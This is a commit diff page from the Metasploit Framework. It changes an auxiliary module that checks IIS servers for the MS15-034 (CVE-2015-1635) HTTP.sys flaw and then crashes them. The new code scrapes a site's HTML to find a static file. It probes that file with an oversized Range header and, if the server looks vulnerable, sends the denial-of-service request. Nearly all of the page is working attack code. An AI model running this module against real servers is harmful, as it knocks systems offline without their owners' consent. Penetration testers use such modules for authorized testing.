Skip to content

Commit 068198c

Browse files
committed
Land rapid7#5386, automatically find file for ms15_034
2 parents e749733 + f9f35db commit 068198c

File tree

1 file changed

+70
-30
lines changed

1 file changed

+70
-30
lines changed

modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb

Lines changed: 70 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -19,10 +19,6 @@ def initialize(info = {})
1919
This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a
2020
vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code
2121
execution. This module will try to cause a denial-of-service.
22-
23-
Please note that a valid file resource must be supplied for the TARGETURI option.
24-
By default, IIS provides 'welcome.png' and 'iis-85.png' as resources.
25-
Others may also exist, depending on configuration options.
2622
},
2723
'Author' =>
2824
[
@@ -46,7 +42,7 @@ def initialize(info = {})
4642

4743
register_options(
4844
[
49-
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
45+
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/'])
5046
], self.class)
5147

5248
deregister_options('RHOST')
@@ -60,34 +56,38 @@ def run_host(ip)
6056
if check_host(ip) == Exploit::CheckCode::Vulnerable
6157
dos_host(ip)
6258
else
63-
print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
59+
print_status("#{peer} - Probably not vulnerable, will not dos it.")
6460
end
6561
end
6662

63+
# Needed to allow the vulnerable uri to be shared between the #check and #dos
64+
def target_uri
65+
@target_uri ||= super
66+
end
67+
6768
def get_file_size(ip)
6869
@file_size ||= lambda {
6970
file_size = -1
7071
uri = normalize_uri(target_uri.path)
71-
res = send_request_raw({'uri'=>uri})
72+
res = send_request_raw('uri' => uri)
7273

7374
unless res
74-
vprint_error("#{ip}:#{rport} - Connection timed out")
75+
vprint_error("#{peer} - Connection timed out")
7576
return file_size
7677
end
7778

7879
if res.code == 404
79-
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
80+
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
8081
return file_size
8182
end
8283

8384
file_size = res.body.length
84-
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
85+
vprint_status("#{peer} - File length: #{file_size} bytes")
8586

8687
return file_size
8788
}.call
8889
end
8990

90-
9191
def dos_host(ip)
9292
file_size = get_file_size(ip)
9393
lower_range = file_size - 2
@@ -97,39 +97,79 @@ def dos_host(ip)
9797
begin
9898
cli = Rex::Proto::Http::Client.new(ip)
9999
cli.connect
100-
req = cli.request_raw({
100+
req = cli.request_raw(
101101
'uri' => uri,
102102
'method' => 'GET',
103103
'headers' => {
104104
'Range' => "bytes=#{lower_range}-#{upper_range}"
105105
}
106-
})
106+
)
107107
cli.send_request(req)
108108
rescue ::Errno::EPIPE, ::Timeout::Error
109109
# Same exceptions the HttpClient mixin catches
110110
end
111-
print_status("#{ip}:#{rport} - DOS request sent")
111+
print_status("#{peer} - DOS request sent")
112112
end
113113

114+
def potential_static_files_uris
115+
uri = normalize_uri(target_uri.path)
114116

115-
def check_host(ip)
116-
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
117+
return [uri] unless uri[-1, 1] == '/'
117118

118-
uri = normalize_uri(target_uri.path)
119-
res = send_request_raw({
120-
'uri' => uri,
121-
'method' => 'GET',
122-
'headers' => {
123-
'Range' => "bytes=0-#{upper_range}"
124-
}
125-
})
126-
if res && res.body.include?('Requested Range Not Satisfiable')
127-
return Exploit::CheckCode::Vulnerable
128-
elsif res && res.body.include?('The request has an invalid header name')
129-
return Exploit::CheckCode::Safe
130-
else
131-
return Exploit::CheckCode::Unknown
119+
uris = ["#{uri}welcome.png"]
120+
res = send_request_raw('uri' => uri, 'method' => 'GET')
121+
122+
return uris unless res
123+
124+
site_uri = URI.parse(full_uri)
125+
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
126+
127+
page.xpath('//link|//script|//style|//img').each do |tag|
128+
%w(href src).each do |attribute|
129+
attr_value = tag[attribute]
130+
131+
next unless attr_value && !attr_value.empty?
132+
133+
uri = site_uri.merge(URI.encode(attr_value.strip))
134+
135+
next unless uri.host == vhost || uri.host == rhost
136+
137+
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
138+
end
132139
end
140+
141+
uris.uniq
133142
end
134143

144+
def check_host(ip)
145+
potential_static_files_uris.each do |potential_uri|
146+
uri = normalize_uri(potential_uri)
147+
148+
res = send_request_raw(
149+
'uri' => uri,
150+
'method' => 'GET',
151+
'headers' => {
152+
'Range' => "bytes=0-#{upper_range}"
153+
}
154+
)
155+
156+
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
157+
158+
if res && res.body.include?('Requested Range Not Satisfiable')
159+
vprint_status("#{vmessage} - Vulnerable")
160+
161+
target_uri.path = uri # Needed for the DoS attack
162+
163+
return Exploit::CheckCode::Vulnerable
164+
elsif res && res.body.include?('The request has an invalid header name')
165+
vprint_status("#{vmessage} - Safe")
166+
167+
return Exploit::CheckCode::Safe
168+
else
169+
vprint_status("#{vmessage} - Unknown")
170+
end
171+
end
172+
173+
Exploit::CheckCode::Unknown
174+
end
135175
end

0 commit comments

Comments
 (0)